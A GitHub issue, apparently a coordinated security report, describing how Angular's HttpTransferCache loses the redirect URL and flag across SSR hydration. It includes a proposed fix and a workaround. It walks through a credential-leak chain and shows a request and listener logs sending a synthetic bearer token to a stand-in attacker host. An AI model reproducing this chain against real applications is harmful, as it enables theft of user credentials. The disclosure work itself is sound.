Skip to content

HttpTransferCache loses redirect provenance across SSR hydration, changing interceptor security decisions #70947

Description

@Adyej999

Which @angular/* package(s) are the source of the bug?

common

Is this a regression?

Yes

Description

Google OSS VRP triaged this security report and referred me to the Angular maintainers to coordinate the fix publicly through the angular/angular repository.

Google OSS VRP report: 559659097

Angular's HTTP TransferCache does not currently preserve the redirect provenance of an HttpResponse when the response is serialized during SSR and later restored in the browser.

In particular, the transferred representation retains the request URL used for the cache lookup, but does not retain:

  • the final HttpResponse.url;
  • HttpResponse.redirected.

This means that the same HTTP response can expose different security-relevant provenance before and after the SSR → browser transfer boundary.

Example

A real Fetch response observed during SSR can be:

redirected = true
url        = https://attacker.example/runtime-config.json
body       = attacker-controlled response

An application response interceptor can correctly reject this because the final response origin is not trusted.

After TransferCache restoration, the same response is currently reconstructed approximately as:

redirected = undefined
url        = https://app.example/api/runtime-config
body       = same attacker-controlled response

The same redirect-aware interceptor can therefore make a different decision for the cached response.

The framework-level transition is:

SSR:

redirected = true
final URL  = attacker origin
application policy = REJECT


Browser TransferCache replay:

redirected = undefined
URL        = original trusted request URL
same application policy = ACCEPT

Root cause

FetchBackend preserves Fetch redirect provenance in HttpResponse.

For a followed redirect it exposes the final response URL and redirected === true.

HttpTransferCache, however, currently serializes a reduced response containing the body, headers, status, status text, request URL and response type.

The final response URL and redirected flag are not serialized.

During restoration, the request URL is used as the reconstructed HttpResponse.url.

As a result, information that was available to application interceptors during SSR is no longer available when the response is replayed during hydration.

Demonstrated security impact

I reproduced a credential-disclosure escalation using a runtime-configuration pattern.

The application retrieves configuration from a trusted endpoint:

https://app.example/api/runtime-config

The response controls an API origin:

{
  "apiBaseUrl": "https://api.example"
}

The application also uses a normal authentication interceptor that attaches an existing bearer token to requests for its configured API origin.

An attacker can influence a redirect destination returned by the trusted runtime-configuration endpoint:

trusted runtime-config request
        ↓
HTTP 302
        ↓
attacker-controlled runtime-config response

The attacker-controlled response contains:

{
  "apiBaseUrl": "https://attacker.example/api"
}

During SSR, Fetch follows the redirect and Angular exposes:

redirected = true
url        = attacker final URL

The application's response-security interceptor correctly rejects the response.

If the application handles that SSR rejection and continues rendering, the response has already been observed by TransferCache and its body can remain in TransferState.

During browser hydration the cached response is currently restored as:

redirected = undefined
url        = original trusted runtime-config URL

The same security interceptor therefore no longer observes the redirect provenance that caused the SSR response to be rejected.

The attacker-controlled apiBaseUrl becomes accepted application configuration.

A normal authentication interceptor subsequently sends:

GET https://attacker.example/api/me
Authorization: Bearer VICTIM_EXISTING_BEARER_TOKEN

The bearer token used in the reproduction is synthetic.

The real attacker-controlled HTTP listener observed:

ATTACKER_OPTIONS path=/api/me?case=full-e2e requested_headers=authorization

ATTACKER_GET path=/api/me?case=full-e2e authorization=Bearer VICTIM_EXISTING_BEARER_TOKEN

This was reproduced independently in Chromium and Firefox using real browser networking and a real CORS preflight.

Angular is not being claimed to create the open redirect.

Attacker influence over the redirect destination is a prerequisite for this demonstrated escalation.

Negative control

The same scenario was repeated with only the security-sensitive configuration request changed to:

http.get(runtimeConfigUrl, {
  transferCache: false,
});

No security interceptor or authentication logic was changed.

With TransferCache disabled, the browser performs the real request and Fetch again exposes:

redirected = true
url        = attacker final URL

The same response-security interceptor rejects it.

Observed result:

accepted_api=unset
attacker_received=unset

This isolates TransferCache restoration as the condition that changes the application's security decision.

Exploitation prerequisites

The demonstrated bearer-token escalation requires:

  1. The application uses Angular SSR and HTTP TransferCache/client hydration.
  2. A trusted SSR-requested endpoint can be caused to redirect to an attacker-controlled destination.
  3. The redirected response remains eligible for TransferCache.
  4. The application has a redirect/final-origin response-security policy.
  5. The application handles the rejected SSR request and continues rendering.
  6. The transferred response controls a security-sensitive client value such as an API origin.
  7. The victim already has an application bearer credential.
  8. Normal authentication logic attaches that credential to requests for the configured API origin.
  9. The attacker endpoint permits the necessary cross-origin browser request.

The framework issue itself is the loss of response provenance during TransferCache serialization/restoration. The credential-disclosure chain is one demonstrated consequence when these application prerequisites are present.

Minimal regression

The underlying framework behavior can be reproduced without external networking.

Server side:

request URL = https://app.example/api/runtime-config

HttpResponse:
url        = https://attacker.example/runtime-config.json
redirected = true

Allow TransferCache to serialize the response and then restore the same request in browser mode.

Expected

url        = https://attacker.example/runtime-config.json
redirected = true

Actual on current main

url        = https://app.example/api/runtime-config
redirected = undefined

Current-main verification

Tested after rebasing onto:

846c73d52b fix(core): add debugName on afterRenderEffect

Without the implementation fix:

411 specs, 1 failure

Expected 'https://app.example/api/runtime-config'
to be 'https://attacker.example/runtime-config.json'.

Expected undefined to be true.

With the proposed fix:

411 specs, 0 failures

Test target:

//packages/common/http/test:test

Formatting and git diff --check also pass.

Proposed remediation

Preserve response provenance independently from the URL used for TransferCache lookup.

The proposed patch stores:

  • the request URL used for the cache lookup;
  • the final HttpResponse.url when it differs from the request URL;
  • HttpResponse.redirected.

The final URL and redirect flag are restored into the replayed client HttpResponse.

The existing HTTP_TRANSFER_CACHE_ORIGIN_MAP mapping is also applied to the final response URL where applicable.

A broader defense-in-depth change could also consider when TransferCache commits a response relative to outer application interceptors. The proposed patch intentionally does not change interceptor ordering and instead addresses the demonstrated provenance-loss behavior.

Workaround

Applications can disable TransferCache for security-sensitive bootstrap/configuration requests:

http.get(runtimeConfigUrl, {
  transferCache: false,
});

In the demonstrated scenario, this prevents the provenance-changing replay and prevents the subsequent credential-disclosure chain.

Security-report context

This issue was originally reported through Google OSS VRP.

Google triaged the report and asked me to coordinate the fix directly with the Angular maintainers through a public issue / pull request and to mention the VRP referral.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    area: common/httpIssues related to HTTP and HTTP Clientgemini-triagedLabel noting that an issue has been triaged by gemini

    Type

    No type

    Projects

    No projects

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions